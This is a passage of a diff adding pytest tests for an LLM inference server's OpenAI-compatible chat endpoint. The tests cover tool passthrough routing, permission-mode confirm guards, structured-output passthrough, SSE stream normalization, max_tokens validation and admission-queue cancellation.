+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.permission-passthrough.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Unsloth tool loop must stay disabled")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        client_tools = [
+            {
+                "type": "function",
+                "function": {"name": "lookup", "parameters": {"type": "object"}},
+            }
+        ]
+
+        def _setup(policy = None):
+            reset_tool_policy()
+            if policy is not None:
+                set_tool_policy(policy)
+            monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True)
+            monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3))
+            monkeypatch.setattr(
+                inference_route, "_openai_passthrough_non_streaming", fake_passthrough
+            )
+            return self._v1_client(monkeypatch, _GGUFBackend())
+
+        # A process --enable-tools policy must not turn a client-tool passthrough
+        # into an Unsloth local loop, so a policy of None or True both keep the
+        # passthrough (the guard mirrors _explicit_studio_tool_loop_requested).
+        for policy in (None, True):
+            for mode in ("ask", "auto"):
+                client = _setup(policy)
+                resp = client.post(
+                    "/v1/chat/completions",
+                    json = {
+                        "messages": [{"role": "user", "content": "use client tool"}],
+                        "tools": client_tools,
+                        "permission_mode": mode,
+                        "stream": False,
+                    },
+                )
+                assert resp.status_code == 200, resp.text
+                assert resp.json()["ok"] is True
+
+        # A JSON-schema response_format is guided-decoding passthrough, not a local
+        # tool loop, so a --enable-tools policy must not 400 a non-streaming ask/auto
+        # structured-output request under the confirm guard.
+        for mode in ("ask", "auto"):
+            client = _setup(True)
+            resp = client.post(
+                "/v1/chat/completions",
+                json = {
+                    "messages": [{"role": "user", "content": "give me json"}],
+                    "response_format": {
+                        "type": "json_schema",
+                        "json_schema": {"name": "s", "schema": {"type": "object"}},
+                    },
+                    "permission_mode": mode,
+                    "stream": False,
+                },
+            )
+            assert resp.status_code == 200, resp.text
+            assert resp.json()["ok"] is True
+
+        # An explicit confirm_tool_calls=True with client tools and no stream is
+        # still a confirm-without-stream request and must be rejected up front.
+        client = _setup()
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "tools": client_tools,
+                "confirm_tool_calls": True,
+                "stream": False,
+            },
+        )
+        assert resp.status_code == 400
+        assert "requires stream=true" in resp.json()["error"]["message"]
+
+    def test_permission_mode_policy_forced_local_loop_rejected_before_switch(self, monkeypatch):
+        # A process --enable-tools policy forces Unsloth's own tool loop on even
+        # when the request omits enable_tools and carries no client tools. A
+        # non-streaming ask/auto request is then confirm-gated with no stream to
+        # prompt on, so it must 400 at the pre-switch guard -- before
+        # _maybe_auto_switch_model runs -- rather than evicting the resident model
+        # and 400ing only at the per-backend check.
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = True
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.policy-forced.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+        switch_calls = []
+
+        async def _no_switch(*_args, **_kwargs):
+            switch_calls.append(1)
+
+        def _setup():
+            reset_tool_policy()
+            set_tool_policy(True)
+            monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True)
+            monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3))
+            monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _no_switch)
+            return self._v1_client(monkeypatch, _GGUFBackend())
+
+        try:
+            for mode in ("ask", "auto"):
+                switch_calls.clear()
+                client = _setup()
+                resp = client.post(
+                    "/v1/chat/completions",
+                    json = {
+                        "messages": [{"role": "user", "content": "hi"}],
+                        "permission_mode": mode,
+                        "stream": False,
+                    },
+                )
+                assert resp.status_code == 400, resp.text
+                assert "requires stream=true" in resp.json()["error"]["message"]
+                assert switch_calls == [], "guard must reject before the auto-switch"
+        finally:
+            reset_tool_policy()
+
+    def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough(self, monkeypatch):
+        # DiffusionGemma forces supports_tools off while passthrough stays
+        # available (#6851): enable_tools=True must not steal client tools
+        # from the passthrough into an Unsloth tool loop that cannot run.
+        import routes.inference as inference_route
+
+        captured = {}
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            supports_tool_passthrough = True
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+            base_url = "http://llama.passthrough-capability.test"
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError("client tools must use passthrough")
+
+            def generate_chat_completion_with_tools(self, **_kwargs):
+                raise AssertionError("Unsloth tool loop cannot run on a non-tool backend")
+
+        async def fake_passthrough(llama_backend, payload, model_name, **kwargs):
+            captured["body"] = inference_route._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
+            inference_route.api_monitor.finish(kwargs.get("monitor_id"))
+            return inference_route.JSONResponse({"ok": True, "model": model_name})
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        monkeypatch.setattr(
+            inference_route,
+            "_openai_passthrough_non_streaming",
+            fake_passthrough,
+        )
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "use client tool"}],
+                "enable_tools": True,
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["ok"] is True
+        assert captured["body"]["tools"][0]["function"]["name"] == "lookup"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert monitor.active_count() == 0
+
+    def test_tool_choice_none_allows_tool_catalog_without_tool_template(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **kwargs):
+                assert kwargs["max_tokens"] is None
+                yield "plain response"
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [{"role": "user", "content": "hi"}],
+                "tools": [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object"},
+                        },
+                    }
+                ],
+                "tool_choice": "none",
+            },
+        )
+
+        assert resp.status_code == 200
+        assert resp.json()["choices"][0]["message"]["content"] == "plain response"
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply"] == "plain response"
+        assert monitor.active_count() == 0
+
+    def test_tool_call_history_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch):
+        import routes.inference as inference_route
+
+        class _GGUFBackend:
+            is_loaded = True
+            model_identifier = "test-gguf"
+            supports_tools = False
+            is_vision = False
+            _is_audio = False
+            context_length = 4096
+
+            def generate_chat_completion(self, **_kwargs):
+                raise AssertionError(
+                    "tool-call history must not fall through to the standard GGUF path"
+                )
+
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inference_route, "api_monitor", monitor)
+        client = self._v1_client(monkeypatch, _GGUFBackend())
+        resp = client.post(
+            "/v1/chat/completions",
+            json = {
+                "messages": [
+                    {"role": "user", "content": "use a tool"},
+                    {
+                        "role": "assistant",
+                        "content": None,
+                        "tool_calls": [
+                            {
+                                "id": "call_1",
+                                "type": "function",
+                                "function": {"name": "lookup", "arguments": "{}"},
+                            }
+                        ],
+                    },
+                    {"role": "tool", "tool_call_id": "call_1", "content": "{}"},
+                ],
+            },
+        )
+
+        self._assert_unsupported_param(resp, "messages")
+        assert "does not advertise tools" in resp.json()["error"]["message"]
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "error"
+        assert "does not advertise tools" in entry["error"]
+        assert monitor.active_count() == 0
+
     def test_n_rejected_for_non_gguf_path(self, monkeypatch):
         class _NoGGUFBackend:
             is_loaded = False
@@ -587,7 +1054,7 @@ class TestChatCompletionRequestToolFields:
         monkeypatch.setattr(
             inference_route,
             "_detect_safetensors_features",
-            lambda backend, chat_template: {"supports_tools": True},
+            lambda backend, chat_template, tools = None: {"supports_tools": True},
         )
         monitor = ApiMonitor(max_entries = 3)
         monkeypatch.setattr(inference_route, "api_monitor", monitor)
@@ -748,11 +1215,32 @@ class TestBuildPassthroughPayloadToolChoice:
         )
         assert body.get("stream_options") == {"include_usage": False}
 
+    def test_response_format_without_tools_omits_tool_fields(self):
+        args = self._args()
+        args["openai_tools"] = None
+
+        body = _build_passthrough_payload(
+            **args,
+            response_format = {"type": "json_object"},
+        )
+
+        assert body["response_format"] == {"type": "json_object"}
+        assert "tools" not in body
+        assert "tool_choice" not in body
+
     def test_repetition_penalty_renamed(self):
         body = _build_passthrough_payload(**self._args(), repetition_penalty = 1.1)
         assert body.get("repeat_penalty") == 1.1
         assert "repetition_penalty" not in body
 
+    def test_omitted_passthrough_max_tokens_uses_backend_context(self):
+        args = self._args()
+        args["max_tokens"] = None
+
+        body = _build_passthrough_payload(**args, backend_ctx = 4096)
+
+        assert body["max_tokens"] == 4096
+
     def test_passthrough_body_merges_system_and_developer_messages(self):
         payload = ChatCompletionRequest(
             model = "default",
@@ -772,6 +1260,74 @@ class TestBuildPassthroughPayloadToolChoice:
         ]
 
 
+class TestOpenAIPassthroughSSETerminalState:
+    def test_done_sentinel(self):
+        assert _openai_passthrough_sse_line_terminal_state("data: [DONE]") == "done"
+
+    def test_finish_reason_with_space(self):
+        line = 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "finish"
+
+    def test_finish_reason_without_space(self):
+        line = 'data:{"choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "finish"
+
+    def test_usage_chunk(self):
+        line = 'data: {"choices":[],"usage":{"prompt_tokens":1,"completion_tokens":2}}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "usage"
+
+    def test_error_chunk(self):
+        line = 'data: {"error":{"message":"boom"}}'
+        assert _openai_passthrough_sse_line_terminal_state(line) == "error"
+
+    def test_cap_parallel_tool_calls_accepts_no_space_after_data_colon(self):
+        line = (
+            'data:{"choices":[{"delta":{"tool_calls":['
+            '{"index":0,"function":{"name":"a"}},'
+            '{"index":1,"function":{"name":"b"}}]}}]}'
+        )
+
+        capped = _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True)
+
+        data = json.loads(capped[len("data:") :].lstrip())
+        assert data["choices"][0]["delta"]["tool_calls"] == [
+            {"index": 0, "function": {"name": "a"}}
+        ]
+
+    def test_plain_content_line_is_returned_identically(self):
+        # The relay dispatches terminal classification on `out_line is raw_line`,
+        # so the no-mutation path must return the identical string object.
+        line = 'data: {"choices":[{"index":0,"delta":{"content":"hello"},"finish_reason":null}]}'
+        assert _normalize_openai_passthrough_sse_line(line) is line
+        assert _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) is line
+
+    def test_reasoning_key_inside_content_text_keeps_line_identical(self):
+        # Fast-path substring gate fires, but the parse finds nothing to change:
+        # the original object must come back so the relay stays byte-identical.
+        line = (
+            'data: {"choices":[{"index":0,"delta":{"content":'
+            '"mentions \\"reasoning_content\\" in text"},"finish_reason":null}]}'
+        )
+        assert _normalize_openai_passthrough_sse_line(line) is line
+
+    def test_reasoning_only_delta_gets_empty_content(self):
+        line = (
+            'data: {"choices":[{"index":0,'
+            '"delta":{"reasoning_content":"thinking"},'
+            '"finish_reason":null}]}'
+        )
+
+        normalized = _normalize_openai_passthrough_sse_line(line)
+
+        data = json.loads(normalized[len("data:") :].lstrip())
+        delta = data["choices"][0]["delta"]
+        assert delta["reasoning_content"] == "thinking"
+        assert delta["content"] == ""
+
+    def test_reasoning_normalization_preserves_done_sentinel(self):
+        assert _normalize_openai_passthrough_sse_line("data: [DONE]") == "data: [DONE]"
+
+
 # =====================================================================
 # Passthrough reasoning kwargs — enable_thinking / reasoning_effort /
 # preserve_thinking must reach llama-server via chat_template_kwargs,
@@ -892,6 +1448,172 @@ class TestOpenAICompatibilityHelpers:
         payload = SimpleNamespace(max_tokens = 128, max_completion_tokens = 64)
         assert _effective_max_tokens(payload) == 64
 
+    def test_openai_compat_max_tokens_returns_none_when_omitted(self):
+        payload = SimpleNamespace(max_tokens = None, max_completion_tokens = None)
+        assert _effective_openai_max_tokens(payload) is None
+
+    @pytest.mark.parametrize(
+        ("payload", "expected"),
+        [
+            (SimpleNamespace(max_tokens = 8192, max_completion_tokens = None), 8192),
+            (SimpleNamespace(max_tokens = 8192, max_completion_tokens = 256), 256),
+        ],
+    )
+    def test_openai_compat_explicit_values_pass_through(self, payload, expected):
+        assert _effective_openai_max_tokens(payload) == expected
+
+    @pytest.mark.parametrize(
+        ("payload", "param"),
+        [
+            (SimpleNamespace(max_tokens = "128", max_completion_tokens = None), "max_tokens"),
+            (SimpleNamespace(max_tokens = True, max_completion_tokens = None), "max_tokens"),
+            (SimpleNamespace(max_tokens = 12.5, max_completion_tokens = None), "max_tokens"),
+            (
+                SimpleNamespace(max_tokens = None, max_completion_tokens = "128"),
+                "max_completion_tokens",
+            ),
+        ],
+    )
+    def test_openai_compat_max_tokens_rejects_non_integer_explicit_values(self, payload, param):
+        with pytest.raises(HTTPException) as exc:
+            _effective_openai_max_tokens(payload)
+
+        assert exc.value.status_code == 400
+        assert exc.value.detail["error"]["param"] == param
+        assert exc.value.detail["error"]["code"] == "invalid_type"
+
+    def test_openai_compat_max_tokens_zero_is_valid_and_negative_rejected(self):
+        # Legacy completions spec: max_tokens has minimum 0, so 0 must pass
+        # through; only negatives are invalid_value.
+        assert _effective_openai_max_tokens_from_values(0) == 0
+
+        with pytest.raises(HTTPException) as exc:
+            _effective_openai_max_tokens_from_values(-1)
+
+        assert exc.value.status_code == 400
+        assert exc.value.detail["error"]["code"] == "invalid_value"
+        assert exc.value.detail["error"]["param"] == "max_tokens"
+
+    def test_chat_reasoning_chunk_carries_empty_content(self):
+        from routes.inference import _chat_reasoning_chunk
+
+        line = _chat_reasoning_chunk("chatcmpl-test", 123, "gguf", "thinking...")
+        chunk = json.loads(line[len("data: ") :])
+        delta = chunk["choices"][0]["delta"]
+
+        assert delta["reasoning_content"] == "thinking..."
+        assert delta["content"] == ""
+
+    def test_passthrough_upstream_headers_include_backend_auth(self):
+        headers = _openai_passthrough_upstream_headers(
+            llama_backend = SimpleNamespace(_auth_headers = {"Authorization": "Bearer secret"}),
+        )
+
+        assert headers["Authorization"] == "Bearer secret"
+        assert headers["Connection"] == "close"
+
+    def test_openai_admission_capacity_prefers_backend_effective_slots(self):
+        request = SimpleNamespace(
+            app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+        )
+        backend = SimpleNamespace(effective_parallel_slots = 3)
+
+        assert _openai_llama_admission_capacity(request, backend) == 3
+
+    @pytest.mark.parametrize("backend_value", [None, 0, -1, "not-an-int"])
+    def test_openai_admission_capacity_falls_back_to_app_state(self, backend_value):
+        request = SimpleNamespace(
+            app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 2))
+        )
+        backend = SimpleNamespace(effective_parallel_slots = backend_value)
+
+        assert _openai_llama_admission_capacity(request, backend) == 2
+
+    def test_openai_admission_capacity_falls_back_to_one_without_request(self):
+        assert _openai_llama_admission_capacity(None, SimpleNamespace()) == 1
+
+    def test_openai_admission_non_streaming_exits_invalidated_waiter(self):
+        async def _run():
+            queue = get_llama_admission_queue("http://llama.invalidated.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig())
+            assert reservation._waiter is not None
+
+            reservation._waiter.future.cancel()
+
+            with pytest.raises(LlamaAdmissionCancelled):
+                await asyncio.wait_for(
+                    _wait_for_openai_admission_non_streaming(
+                        reservation,
+                        LlamaAdmissionConfig(),
+                        request = None,
+                        cancel_event = None,
+                    ),
+                    timeout = 0.1,
+                )
+
+            blocker.release()
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_openai_admission_stream_exits_invalidated_waiter(self):
+        async def _run():
+            queue = get_llama_admission_queue("http://llama.invalidated.stream.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+            reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig())
+            assert reservation._waiter is not None
+
+            reservation._waiter.future.cancel()
+
+            chunks = _openai_admission_wait_stream_chunks(
+                reservation,
+                LlamaAdmissionConfig(),
+                request = None,
+                cancel_event = None,
+            )
+            with pytest.raises(LlamaAdmissionCancelled):
+                await asyncio.wait_for(chunks.__anext__(), timeout = 0.1)
+
+            blocker.release()
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+
+        asyncio.run(_run())
+
+    def test_openai_compat_stream_stall_timeout_uses_default(self, monkeypatch):
+        monkeypatch.delenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raising = False)
+        assert _openai_compat_stream_stall_timeout() == 120.0
+
+    def test_openai_compat_stream_stall_timeout_uses_env_override(self, monkeypatch):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, "4.5")
+        assert _openai_compat_stream_stall_timeout() == 4.5
+
+    @pytest.mark.parametrize("raw_value", ["", "not-a-float"])
+    def test_openai_compat_stream_stall_timeout_invalid_env_uses_default(
+        self, monkeypatch, raw_value
+    ):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value)
+        assert _openai_compat_stream_stall_timeout() == 120.0
+
+    @pytest.mark.parametrize("raw_value", ["0", "-1"])
+    def test_openai_compat_stream_stall_timeout_non_positive_env_disables(
+        self, monkeypatch, raw_value
+    ):
+        monkeypatch.setenv(_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, raw_value)
+        assert _openai_compat_stream_stall_timeout() is None
+
+    def test_openai_stream_error_sse_closes_with_done(self):
+        error = {"error": {"message": "boom"}}
+        assert _openai_stream_error_sse(error) == (
+            'data: {"error": {"message": "boom"}}\n\n' "data: [DONE]\n\n"
+        )
+
     @pytest.mark.parametrize(
         "finish_reason",
         ["stop", "length", "tool_calls", "content_filter", "function_call"],
@@ -1515,9 +2237,659 @@ class TestGgufVisionToolRouting:
         assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan"
         assert "".join(d.get("content", "") for d in deltas) == "visible"
         assert all("<think>" not in d.get("content", "") for d in deltas)
+        assert all("content" in d for d in deltas if "reasoning_content" in d)
         [entry] = result.monitor.snapshot()
         assert entry["reply"] == "visible"
 
+    def test_standard_gguf_stream_queued_request_sends_keepalive_before_generation(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            def _generate(**_kwargs):
+                raise AssertionError("standard GGUF generation must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            queue = get_llama_admission_queue("http://llama.standard.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_stream_close_after_first_chunk_cleans_tracker(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            cancel_id = "standard-stream-close-cleanup"
+
+            def _generate(**_kwargs):
+                yield "visible"
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+                cancel_id = cancel_id,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+            await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            aclose = getattr(iterator, "aclose", None)
+            assert aclose is not None
+            await aclose()
+
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_standard_gguf_stream_task_cancel_after_first_chunk_finalizes_monitor(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _generate(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = False,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.standard.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            pending = asyncio.create_task(iterator.__anext__())
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(pending, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+            assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_stream_queued_request_sends_keepalive_before_generation(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request(self._Request):
+                app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1))
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            def _generate(**_kwargs):
+                raise AssertionError("GGUF tool loop must not start while queued")
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _generate,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01")
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            queue = get_llama_admission_queue("http://llama.tool.test")
+            blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait()
+            assert blocker is not None
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            try:
+                chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+                assert chunk == ": keep-alive\n\n"
+                snapshot = queue.snapshot()
+                assert snapshot.active == 1
+                assert snapshot.queued == 1
+            finally:
+                aclose = getattr(iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                blocker.release()
+
+            snapshot = queue.snapshot()
+            assert snapshot.active == 0
+            assert snapshot.queued == 0
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_gguf_tool_stream_task_cancel_after_first_chunk_finalizes_monitor(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            async def fake_select_tools(*_args, **_kwargs):
+                return [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ]
+
+            started = threading.Event()
+            released = threading.Event()
+
+            def _tools(**kwargs):
+                cancel_event = kwargs["cancel_event"]
+                started.set()
+                while not cancel_event.is_set():
+                    time.sleep(0.005)
+                released.set()
+                yield from ()
+
+            backend = SimpleNamespace(
+                is_loaded = True,
+                is_vision = False,
+                supports_tools = True,
+                supports_reasoning = True,
+                reasoning_always_on = True,
+                _is_audio = False,
+                model_identifier = "test-gguf",
+                context_length = 4096,
+                base_url = "http://llama.tool.test",
+                effective_parallel_slots = 1,
+                generate_chat_completion = lambda **_kwargs: "unused",
+                generate_chat_completion_with_tools = _tools,
+            )
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend)
+            monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools)
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [{"role": "user", "content": "hi"}],
+                enable_tools = True,
+                stream = True,
+            )
+            response = await openai_chat_completions(
+                payload,
+                request = self._Request(),
+                current_subject = "test",
+            )
+            iterator = response.body_iterator
+            assert await asyncio.wait_for(iterator.__anext__(), timeout = 0.2)
+            pending = asyncio.create_task(iterator.__anext__())
+            assert await asyncio.to_thread(started.wait, 1.0)
+
+            await asyncio.sleep(0)
+            pending.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(pending, timeout = 1.0)
+
+            assert released.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+            assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0
+
+        asyncio.run(_run())
+
+    def test_global_enable_tools_does_not_preempt_response_format_passthrough(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        reset_tool_policy()
+        set_tool_policy(True)
+        captured = {}
+
+        def _plain(**_kwargs):
+            raise AssertionError("plain GGUF path should not be used")
+
+        def _tools(**_kwargs):
+            raise AssertionError("Unsloth tool loop should not steal response_format")
+
+        backend = SimpleNamespace(
+            is_loaded = True,
+            is_vision = False,
+            supports_tools = True,
+            _is_audio = False,
+            model_identifier = "test-gguf",
+            context_length = 4096,
+            base_url = "http://llama.policy.test",
+            _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+            generate_chat_completion = _plain,
+            generate_chat_completion_with_tools = _tools,
+        )
+
+        async def fake_passthrough(llama_backend, payload, model_name, **_kwargs):
+            captured["body"] = inf_mod._build_openai_passthrough_body(
+                payload,
+                backend_ctx = llama_backend.context_length,
+                llama_backend = llama_backend,
+            )
